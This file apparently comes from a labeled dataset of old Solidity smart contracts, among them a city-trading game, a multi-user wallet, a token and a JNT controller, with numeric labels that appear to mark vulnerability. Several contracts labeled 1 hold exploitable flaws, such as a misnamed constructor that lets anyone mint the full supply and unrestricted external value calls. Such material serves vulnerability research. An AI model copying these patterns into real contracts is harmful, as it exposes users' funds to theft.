return _price.mul(115).div(97);
}
}
function calculatePoolCut (uint256 _price) public view returns (uint256 _poolCut) {
if (_price < firstCap) {
return _price.mul(10).div(100);
} else if (_price < secondCap) {
return _price.mul(9).div(100);
} else if (_price < thirdCap) {
return _price.mul(8).div(100);
} else {
return _price.mul(7).div(100);
}
}
function purchaseCity(uint256 _tokenId) public
payable
isNotContract(msg.sender)
{
City storage city = cityData[_tokenId];
uint256 price = city.price;
address oldOwner = city.owner;
address newOwner = msg.sender;
require(price > 0);
require(msg.value >= price);
require(oldOwner != msg.sender);
uint256 excess = msg.value.sub(price);
uint256 profit = price.sub(city.lastPrice);
uint256 poolCut = calculatePoolCut(profit);
poolTotal += poolCut;
uint256 devCut = price.mul(3).div(100);
devOwed = devOwed.add(devCut);
transferCity(oldOwner, newOwner, _tokenId);
city.lastPrice = price;
city.price = getNextPrice(price);
CityPurchased(_tokenId, newOwner, price);
oldOwner.transfer(price.sub(devCut.add(poolCut)));
uint256 countryId = _tokenId % COUNTRY_IDX;
address countryOwner;
(countryOwner,,,,) = countryContract.getCountryData(countryId);
require (countryOwner != address(0));
countryOwner.transfer(poolCut.mul(COUNTRY_PAYOUT).div(100));
if (excess > 0) {
newOwner.transfer(excess);
}
lastPurchase = now;
}
function transferCity(address _from, address _to, uint256 _tokenId) internal {
require(tokenExists(_tokenId));
require(cityData[_tokenId].owner == _from);
require(_to != address(0));
require(_to != address(this));
updateSinglePayout(_from, _tokenId);
clearApproval(_from, _tokenId);
removeToken(_from, _tokenId);
cityData[_tokenId].owner = _to;
addToken(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
function withdraw() onlyOwner public {
owner.transfer(devOwed);
devOwed = 0;
}
function setPayout(uint256 _itemId, uint256 _newPayout) onlyOwner public {
City storage city = cityData[_itemId];
city.payout = _newPayout;
}
function updatePayout(address _owner) public {
uint256[] memory cities = ownedTokens[_owner];
uint256 owed;
for (uint256 i = 0; i < cities.length; i++) {
uint256 totalCityOwed = poolTotal * cityData[cities[i]].payout / 10000;
uint256 cityOwed = totalCityOwed.sub(cityData[cities[i]].withdrawn);
owed += cityOwed;
cityData[cities[i]].withdrawn += cityOwed;
}
payoutBalances[_owner] += owed;
}
function updateSinglePayout(address _owner, uint256 _itemId) internal {
uint256 totalCityOwed = poolTotal * cityData[_itemId].payout / 10000;
uint256 cityOwed = totalCityOwed.sub(cityData[_itemId].withdrawn);
cityData[_itemId].withdrawn += cityOwed;
payoutBalances[_owner] += cityOwed;
}
function withdrawRent(address _owner) public {
updatePayout(_owner);
uint256 payout = payoutBalances[_owner];
payoutBalances[_owner] = 0;
_owner.transfer(payout);
}
function getRentOwed(address _owner) public view returns (uint256 owed) {
updatePayout(_owner);
return payoutBalances[_owner];
}
function getCityData (uint256 _tokenId) external view
returns (address _owner, uint256 _price, uint256 _nextPrice, uint256 _payout, address _cOwner, uint256 _cPrice, uint256 _cPayout)
{
City memory city = cityData[_tokenId];
address countryOwner;
uint256 countryPrice;
uint256 countryPayout;
(countryOwner,,countryPrice,,countryPayout) = countryContract.getCountryData(_tokenId % COUNTRY_IDX);
return (city.owner, city.price, getNextPrice(city.price), city.payout, countryOwner, countryPrice, countryPayout);
}
function tokenExists (uint256 _tokenId) public view returns (bool _exists) {
return cityData[_tokenId].price > 0;
}
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier isNotContract(address _buyer) {
uint size;
assembly { size := extcodesize(_buyer) }
require(size == 0);
_;
}
function totalSupply() public view returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) public view returns (uint256) {
return ownedTokens[_owner].length;
}
function tokensOf(address _owner) public view returns (uint256[]) {
return ownedTokens[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function approvedFor(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
clearApprovalAndTransfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
address owner = ownerOf(_tokenId);
require(_to != owner);
if (approvedFor(_tokenId) != 0 || _to != 0) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
function takeOwnership(uint256 _tokenId) public {
require(isApprovedFor(msg.sender, _tokenId));
clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) {
return approvedFor(_tokenId) == _owner;
}
function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal isNotContract(_to) {
require(_to != address(0));
require(_to != ownerOf(_tokenId));
require(ownerOf(_tokenId) == _from);
clearApproval(_from, _tokenId);
updateSinglePayout(_from, _tokenId);
removeToken(_from, _tokenId);
addToken(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _owner);
tokenApprovals[_tokenId] = 0;
Approval(_owner, 0, _tokenId);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addToken(_to, _tokenId);
Transfer(0x0, _to, _tokenId);
}
function addToken(address _to, uint256 _tokenId) private {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
cityData[_tokenId].owner = _to;
uint256 length = balanceOf(_to);
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
totalTokens = totalTokens.add(1);
}
function removeToken(address _from, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _from);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = balanceOf(_from).sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
tokenOwner[_tokenId] = 0;
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
totalTokens = totalTokens.sub(1);
}
function name() public pure returns (string _name) {
return "EtherCities.io City";
}
function symbol() public pure returns (string _symbol) {
return "EC";
}
} | 1 | 3,268 |
pragma solidity ^0.4.19;
contract TrustWallet {
struct User {
uint delay;
address added_by;
uint time_added;
address removed_by;
uint time_removed;
uint time_added_another_user;
}
struct Transaction {
address destination;
uint value;
bytes data;
address initiated_by;
uint time_initiated;
address finalized_by;
uint time_finalized;
bool is_executed;
}
Transaction[] public transactions;
mapping (address => User) public users;
address[] public userAddresses;
modifier onlyActiveUsersAllowed() {
require(users[msg.sender].time_added != 0);
require(users[msg.sender].time_removed == 0);
_;
}
modifier transactionMustBePending() {
require(isTransactionPending());
_;
}
modifier transactionMustNotBePending() {
require(!isTransactionPending());
_;
}
function isTransactionPending() internal constant returns (bool) {
if (transactions.length == 0) return false;
return transactions[transactions.length - 1].time_initiated > 0 &&
transactions[transactions.length - 1].time_finalized == 0;
}
function TrustWallet(address first_user) public {
users[first_user] = User({
delay: 0,
time_added: now,
added_by: 0x0,
time_removed: 0,
removed_by: 0x0,
time_added_another_user: now
});
userAddresses.push(first_user);
}
function () public payable {}
function initiateTransaction(address _destination, uint _value, bytes _data)
public
onlyActiveUsersAllowed()
transactionMustNotBePending()
{
transactions.push(Transaction({
destination: _destination,
value: _value,
data: _data,
initiated_by: msg.sender,
time_initiated: now,
finalized_by: 0x0,
time_finalized: 0,
is_executed: false
}));
}
function executeTransaction()
public
onlyActiveUsersAllowed()
transactionMustBePending()
{
Transaction storage transaction = transactions[transactions.length - 1];
require(now > transaction.time_initiated + users[transaction.initiated_by].delay);
transaction.is_executed = true;
transaction.time_finalized = now;
transaction.finalized_by = msg.sender;
require(transaction.destination.call.value(transaction.value)(transaction.data));
}
function cancelTransaction()
public
onlyActiveUsersAllowed()
transactionMustBePending()
{
Transaction storage transaction = transactions[transactions.length - 1];
require(users[msg.sender].delay <= users[transaction.initiated_by].delay ||
now - transaction.time_initiated > users[msg.sender].delay * 2);
transaction.time_finalized = now;
transaction.finalized_by = msg.sender;
}
function addUser(address new_user, uint new_user_time)
public
onlyActiveUsersAllowed()
{
require(users[new_user].time_added == 0);
require(users[new_user].time_removed == 0);
User storage sender = users[msg.sender];
require(now > sender.delay + sender.time_added_another_user);
require(new_user_time >= sender.delay);
sender.time_added_another_user = now;
users[new_user] = User({
delay: new_user_time,
time_added: now,
added_by: msg.sender,
time_removed: 0,
removed_by: 0x0,
time_added_another_user: now
});
userAddresses.push(new_user);
}
function removeUser(address userAddr)
public
onlyActiveUsersAllowed()
{
require(users[userAddr].time_added != 0);
require(users[userAddr].time_removed == 0);
User storage sender = users[msg.sender];
require(sender.delay <= users[userAddr].delay);
users[userAddr].removed_by = msg.sender;
users[userAddr].time_removed = now;
}
} | 1 | 3,971 |
pragma solidity ^0.4.21 ;
contract RUSS_PFXXX_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " RUSS_PFXXX_I_883 " ;
string public symbol = " RUSS_PFXXX_I_IMTD " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 597921496520442000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 4,847 |
pragma solidity ^0.4.24;
contract CommonModifiersInterface {
function isContract(address _targetAddress) internal constant returns (bool);
modifier onlyContractAddress(address _targetAddress) {
require(isContract(_targetAddress) == true);
_;
}
}
contract CommonModifiers is CommonModifiersInterface {
function isContract(address _targetAddress) internal constant returns (bool) {
require (_targetAddress != address(0x0));
uint256 length;
assembly {
length := extcodesize(_targetAddress)
}
return (length > 0);
}
}
contract AssetIDInterface {
function getAssetID() public constant returns (string);
function getAssetIDHash() public constant returns (bytes32);
}
contract AssetID is AssetIDInterface {
string assetID;
constructor (string _assetID) public {
require(bytes(_assetID).length > 0);
assetID = _assetID;
}
function getAssetID() public constant returns (string) {
return assetID;
}
function getAssetIDHash() public constant returns (bytes32) {
return keccak256(assetID);
}
}
contract OwnableInterface {
function getOwner() public constant returns (address);
modifier onlyOwner() {
require (msg.sender == getOwner());
_;
}
}
contract Ownable is OwnableInterface {
address owner = address(0x0);
address proposedOwner = address(0x0);
event OwnerAssignedEvent(address indexed newowner);
event OwnershipOfferCreatedEvent(address indexed currentowner, address indexed proposedowner);
event OwnershipOfferAcceptedEvent(address indexed currentowner, address indexed proposedowner);
event OwnershipOfferCancelledEvent(address indexed currentowner, address indexed proposedowner);
constructor () public {
owner = msg.sender;
emit OwnerAssignedEvent(owner);
}
function createOwnershipOffer(address _proposedOwner) external onlyOwner {
require (proposedOwner == address(0x0));
require (_proposedOwner != address(0x0));
require (_proposedOwner != address(this));
proposedOwner = _proposedOwner;
emit OwnershipOfferCreatedEvent(owner, _proposedOwner);
}
function acceptOwnershipOffer() external {
require (proposedOwner != address(0x0));
require (msg.sender == proposedOwner);
address _oldOwner = owner;
owner = proposedOwner;
proposedOwner = address(0x0);
emit OwnerAssignedEvent(owner);
emit OwnershipOfferAcceptedEvent(_oldOwner, owner);
}
function cancelOwnershipOffer() external {
require (proposedOwner != address(0x0));
require (msg.sender == owner || msg.sender == proposedOwner);
address _oldProposedOwner = proposedOwner;
proposedOwner = address(0x0);
emit OwnershipOfferCancelledEvent(owner, _oldProposedOwner);
}
function getOwner() public constant returns (address) {
return owner;
}
function getProposedOwner() public constant returns (address) {
return proposedOwner;
}
}
contract ManageableInterface {
function isManagerAllowed(address _manager, string _permissionName) public constant returns (bool);
modifier onlyAllowedManager(string _permissionName) {
require(isManagerAllowed(msg.sender, _permissionName) == true);
_;
}
}
contract Manageable is OwnableInterface,
ManageableInterface {
mapping (address => bool) managerEnabled;
mapping (address => mapping (string => bool)) managerPermissions;
event ManagerEnabledEvent(address indexed manager);
event ManagerDisabledEvent(address indexed manager);
event ManagerPermissionGrantedEvent(address indexed manager, bytes32 permission);
event ManagerPermissionRevokedEvent(address indexed manager, bytes32 permission);
function enableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) {
require(managerEnabled[_manager] == false);
managerEnabled[_manager] = true;
emit ManagerEnabledEvent(_manager);
}
function disableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) {
require(managerEnabled[_manager] == true);
managerEnabled[_manager] = false;
emit ManagerDisabledEvent(_manager);
}
function grantManagerPermission(
address _manager, string _permissionName
)
external
onlyOwner
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
{
require(managerPermissions[_manager][_permissionName] == false);
managerPermissions[_manager][_permissionName] = true;
emit ManagerPermissionGrantedEvent(_manager, keccak256(_permissionName));
}
function revokeManagerPermission(
address _manager, string _permissionName
)
external
onlyOwner
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
{
require(managerPermissions[_manager][_permissionName] == true);
managerPermissions[_manager][_permissionName] = false;
emit ManagerPermissionRevokedEvent(_manager, keccak256(_permissionName));
}
function isManagerEnabled(
address _manager
)
public
constant
onlyValidManagerAddress(_manager)
returns (bool)
{
return managerEnabled[_manager];
}
function isPermissionGranted(
address _manager, string _permissionName
)
public
constant
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
returns (bool)
{
return managerPermissions[_manager][_permissionName];
}
function isManagerAllowed(
address _manager, string _permissionName
)
public
constant
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
returns (bool)
{
return (managerEnabled[_manager] && managerPermissions[_manager][_permissionName]);
}
modifier onlyValidManagerAddress(address _manager) {
require(_manager != address(0x0));
_;
}
modifier onlyValidPermissionName(string _permissionName) {
require(bytes(_permissionName).length != 0);
_;
}
}
contract PausableInterface {
event PauseEvent();
event UnpauseEvent();
function pauseContract() public;
function unpauseContract() public;
function getPaused() public constant returns (bool);
modifier whenContractNotPaused() {
require(getPaused() == false);
_;
}
modifier whenContractPaused {
require(getPaused() == true);
_;
}
}
contract Pausable is ManageableInterface,
PausableInterface {
bool paused = true;
function pauseContract() public onlyAllowedManager('pause_contract') whenContractNotPaused {
paused = true;
emit PauseEvent();
}
function unpauseContract() public onlyAllowedManager('unpause_contract') whenContractPaused {
paused = false;
emit UnpauseEvent();
}
function getPaused() public constant returns (bool) {
return paused;
}
}
contract BytecodeExecutorInterface {
event CallExecutedEvent(address indexed target,
uint256 suppliedGas,
uint256 ethValue,
bytes32 transactionBytecodeHash);
event DelegatecallExecutedEvent(address indexed target,
uint256 suppliedGas,
bytes32 transactionBytecodeHash);
function executeCall(address _target, uint256 _suppliedGas, uint256 _ethValue, bytes _transactionBytecode) external;
function executeDelegatecall(address _target, uint256 _suppliedGas, bytes _transactionBytecode) external;
}
contract BytecodeExecutor is ManageableInterface,
BytecodeExecutorInterface {
bool underExecution = false;
function executeCall(
address _target,
uint256 _suppliedGas,
uint256 _ethValue,
bytes _transactionBytecode
)
external
onlyAllowedManager('execute_call')
{
require(underExecution == false);
underExecution = true;
_target.call.gas(_suppliedGas).value(_ethValue)(_transactionBytecode);
underExecution = false;
emit CallExecutedEvent(_target, _suppliedGas, _ethValue, keccak256(_transactionBytecode));
}
function executeDelegatecall(
address _target,
uint256 _suppliedGas,
bytes _transactionBytecode
)
external
onlyAllowedManager('execute_delegatecall')
{
require(underExecution == false);
underExecution = true;
_target.delegatecall.gas(_suppliedGas)(_transactionBytecode);
underExecution = false;
emit DelegatecallExecutedEvent(_target, _suppliedGas, keccak256(_transactionBytecode));
}
}
contract CrydrViewBaseInterface {
event CrydrControllerChangedEvent(address indexed crydrcontroller);
function setCrydrController(address _crydrController) external;
function getCrydrController() public constant returns (address);
function getCrydrViewStandardName() public constant returns (string);
function getCrydrViewStandardNameHash() public constant returns (bytes32);
}
contract CrydrViewERC20MintableInterface {
event MintEvent(address indexed owner, uint256 value);
event BurnEvent(address indexed owner, uint256 value);
function emitMintEvent(address _owner, uint256 _value) external;
function emitBurnEvent(address _owner, uint256 _value) external;
}
contract CrydrViewERC20LoggableInterface {
function emitTransferEvent(address _from, address _to, uint256 _value) external;
function emitApprovalEvent(address _owner, address _spender, uint256 _value) external;
}
contract CrydrStorageBalanceInterface {
event AccountBalanceIncreasedEvent(address indexed account, uint256 value);
event AccountBalanceDecreasedEvent(address indexed account, uint256 value);
function increaseBalance(address _account, uint256 _value) public;
function decreaseBalance(address _account, uint256 _value) public;
function getBalance(address _account) public constant returns (uint256);
function getTotalSupply() public constant returns (uint256);
}
contract CrydrStorageBlocksInterface {
event AccountBlockedEvent(address indexed account);
event AccountUnblockedEvent(address indexed account);
event AccountFundsBlockedEvent(address indexed account, uint256 value);
event AccountFundsUnblockedEvent(address indexed account, uint256 value);
function blockAccount(address _account) public;
function unblockAccount(address _account) public;
function getAccountBlocks(address _account) public constant returns (uint256);
function blockAccountFunds(address _account, uint256 _value) public;
function unblockAccountFunds(address _account, uint256 _value) public;
function getAccountBlockedFunds(address _account) public constant returns (uint256);
}
contract CrydrStorageAllowanceInterface {
event AccountAllowanceIncreasedEvent(address indexed owner, address indexed spender, uint256 value);
event AccountAllowanceDecreasedEvent(address indexed owner, address indexed spender, uint256 value);
function increaseAllowance(address _owner, address _spender, uint256 _value) public;
function decreaseAllowance(address _owner, address _spender, uint256 _value) public;
function getAllowance(address _owner, address _spender) public constant returns (uint256);
}
contract CrydrStorageERC20Interface {
event CrydrTransferredEvent(address indexed from, address indexed to, uint256 value);
event CrydrTransferredFromEvent(address indexed spender, address indexed from, address indexed to, uint256 value);
event CrydrSpendingApprovedEvent(address indexed owner, address indexed spender, uint256 value);
function transfer(address _msgsender, address _to, uint256 _value) public;
function transferFrom(address _msgsender, address _from, address _to, uint256 _value) public;
function approve(address _msgsender, address _spender, uint256 _value) public;
}
contract CrydrControllerBaseInterface {
event CrydrStorageChangedEvent(address indexed crydrstorage);
event CrydrViewAddedEvent(address indexed crydrview, bytes32 standardname);
event CrydrViewRemovedEvent(address indexed crydrview, bytes32 standardname);
function setCrydrStorage(address _newStorage) external;
function getCrydrStorageAddress() public constant returns (address);
function setCrydrView(address _newCrydrView, string _viewApiStandardName) external;
function removeCrydrView(string _viewApiStandardName) external;
function getCrydrViewAddress(string _viewApiStandardName) public constant returns (address);
function isCrydrViewAddress(address _crydrViewAddress) public constant returns (bool);
function isCrydrViewRegistered(string _viewApiStandardName) public constant returns (bool);
modifier onlyValidCrydrViewStandardName(string _viewApiStandard) {
require(bytes(_viewApiStandard).length > 0);
_;
}
modifier onlyCrydrView() {
require(isCrydrViewAddress(msg.sender) == true);
_;
}
}
contract CrydrControllerBase is CommonModifiersInterface,
ManageableInterface,
PausableInterface,
CrydrControllerBaseInterface {
address crydrStorage = address(0x0);
mapping (string => address) crydrViewsAddresses;
mapping (address => bool) isRegisteredView;
function setCrydrStorage(
address _crydrStorage
)
external
onlyContractAddress(_crydrStorage)
onlyAllowedManager('set_crydr_storage')
whenContractPaused
{
require(_crydrStorage != address(this));
require(_crydrStorage != address(crydrStorage));
crydrStorage = _crydrStorage;
emit CrydrStorageChangedEvent(_crydrStorage);
}
function getCrydrStorageAddress() public constant returns (address) {
return address(crydrStorage);
}
function setCrydrView(
address _newCrydrView, string _viewApiStandardName
)
external
onlyContractAddress(_newCrydrView)
onlyValidCrydrViewStandardName(_viewApiStandardName)
onlyAllowedManager('set_crydr_view')
whenContractPaused
{
require(_newCrydrView != address(this));
require(crydrViewsAddresses[_viewApiStandardName] == address(0x0));
CrydrViewBaseInterface crydrViewInstance = CrydrViewBaseInterface(_newCrydrView);
bytes32 standardNameHash = crydrViewInstance.getCrydrViewStandardNameHash();
require(standardNameHash == keccak256(_viewApiStandardName));
crydrViewsAddresses[_viewApiStandardName] = _newCrydrView;
isRegisteredView[_newCrydrView] = true;
emit CrydrViewAddedEvent(_newCrydrView, keccak256(_viewApiStandardName));
}
function removeCrydrView(
string _viewApiStandardName
)
external
onlyValidCrydrViewStandardName(_viewApiStandardName)
onlyAllowedManager('remove_crydr_view')
whenContractPaused
{
require(crydrViewsAddresses[_viewApiStandardName] != address(0x0));
address removedView = crydrViewsAddresses[_viewApiStandardName];
crydrViewsAddresses[_viewApiStandardName] == address(0x0);
isRegisteredView[removedView] = false;
emit CrydrViewRemovedEvent(removedView, keccak256(_viewApiStandardName));
}
function getCrydrViewAddress(
string _viewApiStandardName
)
public
constant
onlyValidCrydrViewStandardName(_viewApiStandardName)
returns (address)
{
require(crydrViewsAddresses[_viewApiStandardName] != address(0x0));
return crydrViewsAddresses[_viewApiStandardName];
}
function isCrydrViewAddress(
address _crydrViewAddress
)
public
constant
returns (bool)
{
require(_crydrViewAddress != address(0x0));
return isRegisteredView[_crydrViewAddress];
}
function isCrydrViewRegistered(
string _viewApiStandardName
)
public
constant
onlyValidCrydrViewStandardName(_viewApiStandardName)
returns (bool)
{
return (crydrViewsAddresses[_viewApiStandardName] != address(0x0));
}
}
contract CrydrControllerBlockableInterface {
function blockAccount(address _account) public;
function unblockAccount(address _account) public;
function blockAccountFunds(address _account, uint256 _value) public;
function unblockAccountFunds(address _account, uint256 _value) public;
}
contract CrydrControllerBlockable is ManageableInterface,
CrydrControllerBaseInterface,
CrydrControllerBlockableInterface {
function blockAccount(
address _account
)
public
onlyAllowedManager('block_account')
{
CrydrStorageBlocksInterface(getCrydrStorageAddress()).blockAccount(_account);
}
function unblockAccount(
address _account
)
public
onlyAllowedManager('unblock_account')
{
CrydrStorageBlocksInterface(getCrydrStorageAddress()).unblockAccount(_account);
}
function blockAccountFunds(
address _account,
uint256 _value
)
public
onlyAllowedManager('block_account_funds')
{
CrydrStorageBlocksInterface(getCrydrStorageAddress()).blockAccountFunds(_account, _value);
}
function unblockAccountFunds(
address _account,
uint256 _value
)
public
onlyAllowedManager('unblock_account_funds')
{
CrydrStorageBlocksInterface(getCrydrStorageAddress()).unblockAccountFunds(_account, _value);
}
}
contract CrydrControllerMintableInterface {
event MintEvent(address indexed owner, uint256 value);
event BurnEvent(address indexed owner, uint256 value);
function mint(address _account, uint256 _value) public;
function burn(address _account, uint256 _value) public;
}
contract CrydrControllerMintable is ManageableInterface,
PausableInterface,
CrydrControllerBaseInterface,
CrydrControllerMintableInterface {
function mint(
address _account, uint256 _value
)
public
whenContractNotPaused
onlyAllowedManager('mint_crydr')
{
CrydrStorageBalanceInterface(getCrydrStorageAddress()).increaseBalance(_account, _value);
emit MintEvent(_account, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20MintableInterface(getCrydrViewAddress('erc20')).emitMintEvent(_account, _value);
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitTransferEvent(address(0x0), _account, _value);
}
}
function burn(
address _account, uint256 _value
)
public
whenContractNotPaused
onlyAllowedManager('burn_crydr')
{
CrydrStorageBalanceInterface(getCrydrStorageAddress()).decreaseBalance(_account, _value);
emit BurnEvent(_account, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20MintableInterface(getCrydrViewAddress('erc20')).emitBurnEvent(_account, _value);
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitTransferEvent(_account, address(0x0), _value);
}
}
}
contract CrydrControllerERC20Interface {
function transfer(address _msgsender, address _to, uint256 _value) public;
function getTotalSupply() public constant returns (uint256);
function getBalance(address _owner) public constant returns (uint256);
function approve(address _msgsender, address _spender, uint256 _value) public;
function transferFrom(address _msgsender, address _from, address _to, uint256 _value) public;
function getAllowance(address _owner, address _spender) public constant returns (uint256);
}
contract CrydrControllerERC20 is PausableInterface,
CrydrControllerBaseInterface,
CrydrControllerERC20Interface {
function transfer(
address _msgsender,
address _to,
uint256 _value
)
public
onlyCrydrView
whenContractNotPaused
{
CrydrStorageERC20Interface(getCrydrStorageAddress()).transfer(_msgsender, _to, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitTransferEvent(_msgsender, _to, _value);
}
}
function getTotalSupply() public constant returns (uint256) {
return CrydrStorageBalanceInterface(getCrydrStorageAddress()).getTotalSupply();
}
function getBalance(address _owner) public constant returns (uint256) {
return CrydrStorageBalanceInterface(getCrydrStorageAddress()).getBalance(_owner);
}
function approve(
address _msgsender,
address _spender,
uint256 _value
)
public
onlyCrydrView
whenContractNotPaused
{
uint256 allowance = CrydrStorageAllowanceInterface(getCrydrStorageAddress()).getAllowance(_msgsender, _spender);
require((allowance > 0 && _value == 0) || (allowance == 0 && _value > 0));
CrydrStorageERC20Interface(getCrydrStorageAddress()).approve(_msgsender, _spender, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitApprovalEvent(_msgsender, _spender, _value);
}
}
function transferFrom(
address _msgsender,
address _from,
address _to,
uint256 _value
)
public
onlyCrydrView
whenContractNotPaused
{
CrydrStorageERC20Interface(getCrydrStorageAddress()).transferFrom(_msgsender, _from, _to, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitTransferEvent(_from, _to, _value);
}
}
function getAllowance(address _owner, address _spender) public constant returns (uint256 ) {
return CrydrStorageAllowanceInterface(getCrydrStorageAddress()).getAllowance(_owner, _spender);
}
}
contract CrydrControllerForcedTransferInterface {
event ForcedTransferEvent(address indexed from, address indexed to, uint256 value);
function forcedTransfer(address _from, address _to, uint256 _value) public;
function forcedTransferAll(address _from, address _to) public;
}
contract CrydrControllerForcedTransfer is ManageableInterface,
PausableInterface,
CrydrControllerBaseInterface,
CrydrControllerForcedTransferInterface {
function forcedTransfer(
address _from, address _to, uint256 _value
)
public
whenContractNotPaused
onlyAllowedManager('forced_transfer')
{
CrydrStorageBalanceInterface(getCrydrStorageAddress()).decreaseBalance(_from, _value);
CrydrStorageBalanceInterface(getCrydrStorageAddress()).increaseBalance(_to, _value);
emit ForcedTransferEvent(_from, _to, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitTransferEvent(_from, _to, _value);
}
}
function forcedTransferAll(
address _from, address _to
)
public
whenContractNotPaused
onlyAllowedManager('forced_transfer')
{
uint256 value = CrydrStorageBalanceInterface(getCrydrStorageAddress()).getBalance(_from);
CrydrStorageBalanceInterface(getCrydrStorageAddress()).decreaseBalance(_from, value);
CrydrStorageBalanceInterface(getCrydrStorageAddress()).increaseBalance(_to, value);
emit ForcedTransferEvent(_from, _to, value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitTransferEvent(_from, _to, value);
}
}
}
contract JNTPaymentGatewayInterface {
event JNTChargedEvent(address indexed payableservice, address indexed from, address indexed to, uint256 value);
function chargeJNT(address _from, address _to, uint256 _value) public;
}
contract JNTPaymentGateway is ManageableInterface,
CrydrControllerBaseInterface,
JNTPaymentGatewayInterface {
function chargeJNT(
address _from,
address _to,
uint256 _value
)
public
onlyAllowedManager('jnt_payable_service')
{
CrydrStorageERC20Interface(getCrydrStorageAddress()).transfer(_from, _to, _value);
emit JNTChargedEvent(msg.sender, _from, _to, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitTransferEvent(_from, _to, _value);
}
}
}
contract JNTController is CommonModifiers,
AssetID,
Ownable,
Manageable,
Pausable,
BytecodeExecutor,
CrydrControllerBase,
CrydrControllerBlockable,
CrydrControllerMintable,
CrydrControllerERC20,
CrydrControllerForcedTransfer,
JNTPaymentGateway {
constructor () AssetID('JNT') public {}
} | 0 | 652 |
pragma solidity ^0.4.23;
interface tokenRecipient {
function receiveApproval (address from, uint256 value, address token, bytes extraData) external;
}
contract Pasadena {
string public name;
string public symbol;
uint8 public decimals = 6;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => mapping(uint => bool)) public usedSigIds;
address public tokenDistributor;
address public rescueAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
bytes public ethSignedMessagePrefix = "\x19Ethereum Signed Message:\n";
enum sigStandard { typed, personal, stringHex }
enum sigDestination { transfer, approve, approveAndCall, transferFrom }
bytes32 public sigDestinationTransfer = keccak256(
"address Token Contract Address",
"address Sender's Address",
"address Recipient's Address",
"uint256 Amount to Transfer (last six digits are decimals)",
"uint256 Fee in Tokens Paid to Executor (last six digits are decimals)",
"uint256 Signature Expiration Timestamp (unix timestamp)",
"uint256 Signature ID"
);
bytes32 public sigDestinationTransferFrom = keccak256(
"address Token Contract Address",
"address Address Approved for Withdraw",
"address Account to Withdraw From",
"address Withdrawal Recipient Address",
"uint256 Amount to Transfer (last six digits are decimals)",
"uint256 Fee in Tokens Paid to Executor (last six digits are decimals)",
"uint256 Signature Expiration Timestamp (unix timestamp)",
"uint256 Signature ID"
);
bytes32 public sigDestinationApprove = keccak256(
"address Token Contract Address",
"address Withdrawal Approval Address",
"address Withdrawal Recipient Address",
